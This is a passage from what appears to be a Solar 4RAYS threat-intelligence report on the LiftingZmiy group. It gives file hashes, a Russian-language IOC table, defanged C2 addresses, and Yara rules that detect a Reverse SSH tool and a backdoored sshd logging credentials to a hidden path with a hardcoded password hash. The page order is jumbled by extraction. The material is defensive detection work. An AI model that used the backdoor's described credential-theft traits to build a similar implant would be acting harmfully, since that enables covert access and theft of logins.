9764cf6862afdb88d24dd305d1226d73 e930f5b02e5d20a6841ab86893c3dd96 0b4dd8e23fecb00f6d718db1c937be0d e68a4c4969eb6a3bd14d68a2095ea212 SHA1 5419d3907fbe5e08c8e92bfb9e7d13598624c37e 13199beae514d13cf50365678a2a015166912725 3ce493ffadd427645417913c3fc4a48546a9a05c b4916f2b61a5a71e01c64061420844f33633455a 223d99f7f0c90d8b4eeace2ac59a71b8a1f410a6 d9fab70cb02ea5437eb1287eedeb6e7ebbdeb0f0 58ee2fb1672b3af2db7997bb91cf3ab138d801e1 3949004dbe27de39b22bd83d4d9ffdfa094ec54e 15f892ce1ac9d483e4347521a5754908d1518287 7fc45ff66f59dea79f107b472e9dae3b04725502 ef15bfb08ad93f3a1ce0c0ded1472937cb882f03 e2ea2a3c5e2538cdd6ea97452d9ea291afb1eff1 SHA256 170e5dfe925e4065189a3708f3e565627b4def57bca550ad9c2a30f8c5a4c7f6 cab22ba432a65c7db751e22a42f8a2079d3810312b24ecacccfd371bf514fe2d 4dc5c2c0a31713d668ee8950cfef5e01800aa7c9fbcfa3467b8d10d1fe84179a 7d8540d7dde17e8f836e2cc04e79784dbbd713db5bf0f7b9356d5a2dcceec21f cb5f62bf7b591e69bd38e6bf8e40e8d307d154b2935703422d44f02e403d2e78 cfc0ef98f7ede78059a2f794668cdb626c668511b25a75edef2d7ac72e5a3809 d457b15dfcdd6669d60af6d96f56757674b6f0fbba11999f76f47e03bd635d09 62a7a561000c6686b338dfbc70309561a05300eeb71d9108c6d6d22a8d0bec6c f893f73b879cf12b2ce821ea65465031ae6f30f7dc0c97c7e0acfc0d926dd92b 0fae988b21c2cdaceeeabfba154b6239b7069092a009be25b05dfc29778159b9 ab9bca283072c637d56bc17d9b59c054a0e0d83d157ecf539e0f3dc50ddd88e3 2555ca7597171a0fc8ff75015e7e1d03c7ca5a632907640de65c6084d635b3a9 Yara rule ReverseSSH { meta: description = "Detects golang Reverse ssh tool" author = "Solar 4RAYS" md5 = "0abcc1d8d85c160a8e6b714045d028ca" md5 = "9764cf6862afdb88d24dd305d1226d73" md5 = "e930f5b02e5d20a6841ab86893c3dd96" md5 = "0b4dd8e23fecb00f6d718db1c937be0d" md5 = "e68a4c4969eb6a3bd14d68a2095ea212" strings: $s1 = "/NHAS/reverse_ssh/internal/client" ascii condition: all of them } rule apt_LiftingZmiy_xorkey { meta: description = "detects xor key (also used as md5 password hash for login) used in backdoored ssh" author = "Solar 4RAYS" md5= "1c2c53c430f54f59045c63c02fe774fd" // backdoored ssh ELF strings: $ = { D8 48 C0 FB 4A 83 8E 85 13 0D B4 86 61 B7 42 F1 } condition: any of them https://rt-solar.ru/solar-4rays/blog/4506/ Page 19 of 21 } rule apt_LiftingZmiy_backdoored_ssh { meta: description = "Detects backdoored ssh + libprivatessh.so.5 files" author = "Solar 4RAYS" md5 = "1c2c53c430f54f59045c63c02fe774fd" // backdoored ssh ELF md5 = "723dfe3dc3e74d16809700b5ece2b28a" // backdoored libprivatessh.so.5 strings: $creds_file = "/var/mail/.../.," $pass_md5 = { D8 48 C0 FB 4A 83 8E 85 13 0D B4 86 61 B7 42 F1 } $s1 = "unicorn" $s2 = "sshlog_su" condition: uint32(0) == 0x464c457f and filesize < 800KB and ($pass_md5 or $creds_file or all of ($s*)) } Приложение. Расширенная информация по файловым IOCs Примечание: большинство образцов Reverse SSH были извлечены из оперативной памяти, поэтому для точного определения файлов, предлагаем использовать наше Yara-правило. Имя файла MD5 SHA1 SHA256 libprivatessh.so.5 723dfe3dc3e74d16809700b5ece2b28a 5419d3907fbe5e08c8e92bfb9e7d13598624c37e 170e5dfe925e4065189a3708f3e56 sshd 1c2c53c430f54f59045c63c02fe774fd 13199beae514d13cf50365678a2a015166912725 cab22ba432a65c7db751e22a42f8 1 bfce45ed17f9b778a7e2b1f4832c0ea5 3ce493ffadd427645417913c3fc4a48546a9a05c 4dc5c2c0a31713d668ee8950cfef5 rs 728e9466e1c57fcba49d7d14a95ab851 b4916f2b61a5a71e01c64061420844f33633455a 7d8540d7dde17e8f836e2cc04e79 gs-dbus bf0aa35ce8ce1ef1155607e57e0227c3 223d99f7f0c90d8b4eeace2ac59a71b8a1f410a6 cb5f62bf7b591e69bd38e6bf8e40e https://rt-solar.ru/solar-4rays/blog/4506/ Page 20 of 21 document.docx.exe 86f49b35cab2b9ccf7fa306a3067dbde d9fab70cb02ea5437eb1287eedeb6e7ebbdeb0f0 cfc0ef98f7ede78059a2f794668cdb tiago.exe 41b99b0770f01afbd80481fb6f811bcc 58ee2fb1672b3af2db7997bb91cf3ab138d801e1 d457b15dfcdd6669d60af6d96f567 - 0abcc1d8d85c160a8e6b714045d028ca 3949004dbe27de39b22bd83d4d9ffdfa094ec54e 62a7a561000c6686b338dfbc7030 - 9764cf6862afdb88d24dd305d1226d73 15f892ce1ac9d483e4347521a5754908d1518287 f893f73b879cf12b2ce821ea65465 - e930f5b02e5d20a6841ab86893c3dd96 7fc45ff66f59dea79f107b472e9dae3b04725502 0fae988b21c2cdaceeeabfba154b6 - 0b4dd8e23fecb00f6d718db1c937be0d ef15bfb08ad93f3a1ce0c0ded1472937cb882f03 ab9bca283072c637d56bc17d9b59 176.192.20.118 e68a4c4969eb6a3bd14d68a2095ea212 e2ea2a3c5e2538cdd6ea97452d9ea291afb1eff1 2555ca7597171a0fc8ff75015e7e1 Source: https://rt-solar.ru/solar-4rays/blog/4506/ https://rt-solar.ru/solar-4rays/blog/4506/ Page 21 of 21 на скомпрометированном C2 оборудовании: ASN Начало активности 79.120.62[.]218 AS12714 декабрь 2023 79.111.117[.]174 AS12714 декабрь 2023 79.111.233[.]34 AS12714 декабрь 2023 Page 12 of 21 md5= "1c2c53c430f54f59045c63c02fe774fd" strings: // backdoored ssh ELF $ = { D8 48 C0 FB 4A 83 8E 85 13 0D B4 86 61 B7 42 F1 } condition: any of them Page 19 of 21